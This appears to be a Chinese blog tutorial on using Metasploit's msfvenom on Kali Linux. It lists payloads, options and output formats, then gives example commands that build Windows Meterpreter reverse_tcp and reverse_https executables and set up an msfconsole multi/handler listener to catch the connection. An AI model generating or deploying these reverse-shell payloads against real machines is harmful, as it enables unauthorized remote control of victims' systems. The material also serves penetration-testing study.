MSFVENOM使用步骤

MSFVENOM使用步骤

概述

MSFvenom是Msfpayload和Msfencode的组合，可以生成各种攻击载荷，并且可以对载荷进行编码。做渗透测试时往往需要将有效负载部署在目标系统上，而msfvenom可以快速创建符合靶机的载荷，Msfvenom 包含标准的命令行选项。可以为许多平台生成有效负载，如Android，Windows，Unix，Nodejs，Cisco等等。

使用步骤

  1. ┌──(root💀kali)-[~]
└─# msfvenom -l payloads | grep windows

基于目标主机的架构类型，用该命令查看并选择合适的载荷类型

  1. ┌──(root💀kali)-[~]
└─# msfvenom -p  windows/meterpreter_reverse_tcp  --list-options                                                                                                                                       130 ⨯
Options for payload/windows/meterpreter_reverse_tcp:
=========================


       Name: Windows Meterpreter Shell, Reverse TCP Inline
     Module: payload/windows/meterpreter_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 175174
       Rank: Normal

Provided by:
    OJ Reeves
    sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name        Current Setting  Required  Description
----        ---------------  --------  -----------
EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS                   no        Comma-separate list of extensions to load
EXTINIT                      no        Initialization strings for extensions
LHOST                        yes       The listen address (an interface may be specified)
LPORT       4444             yes       The listen port

Description:
  Connect back to attacker and spawn a Meterpreter shell. Requires
  Windows XP SP2 or newer.



Advanced options for payload/windows/meterpreter_reverse_tcp:
=========================

    Name                         Current Setting  Required  Description
    ----                         ---------------  --------  -----------
    AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
    AutoRunScript                                 no        A script to run automatically on session creation.
    AutoSystemInfo               true             yes       Automatically capture system information on initialization.
    AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
    AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
    EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
    HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
    InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
    PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
    PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
    PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
    PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
    PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
    PingbackRetries              0                yes       How many additional successful pingbacks
    PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
    PrependMigrate               false            yes       Spawns and runs shellcode in new process
    PrependMigrateProc                            no        Process to spawn and run shellcode in
    ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
    ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
    ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
    ReverseListenerComm                           no        The specific communication channel to use for this listener
    ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
    SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
    SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
    SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
    SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
    StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
    StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
    VERBOSE                      false            no        Enable detailed status messages
    WORKSPACE                                     no        Specify the workspace for this module

Evasion options for payload/windows/meterpreter_reverse_tcp:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

用上述命令查看对于具体的某载荷(payload)需要设置哪些选项？

  1. ┌──(root💀kali)-[~]
└─# msfvenom --help
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --service-name    <value>    The service name to use when generating a service binary
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

一般设置的选项除了payload里面要求的之外，其他比如format -f, 以及输出路径-o

看支持哪些文件类型：

┌──(root💀kali)-[~]
└─# msfvenom --list formats                                                                                                                                                                            130 ⨯

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript

一些例子：

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.xxx lport=xxxx -f exe > / root/Desktop/reverse_tcp.exe

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.xxx lport=443 -f exe > /root/Desktop/443.exe

此时在攻击机如Kali linux启用msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.0.xxx
set lport 443
exploit
posted @   Jason_huawen  阅读(1012)  评论(0)  编辑  收藏  举报
相关博文：
· Vulnhub之Thales 1靶机详细测试过程（手动获取Shell，不用metasploit）
· Vulnhub之M87靶机详细测试过程（不同提权方法）
· 免杀——msfvenom基本操作
· msfvenom常见的使用命令
· THM-SHELL-反弹shell
阅读排行：
· 无需6万激活码！GitHub神秘组织3小时极速复刻Manus，手把手教你使用OpenManus搭建本
· Manus爆火，是硬核还是营销？
· 终于写完轮子一部分：tcp代理 了，记录一下
· 别再用vector＜bool＞了！Google高级工程师：这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示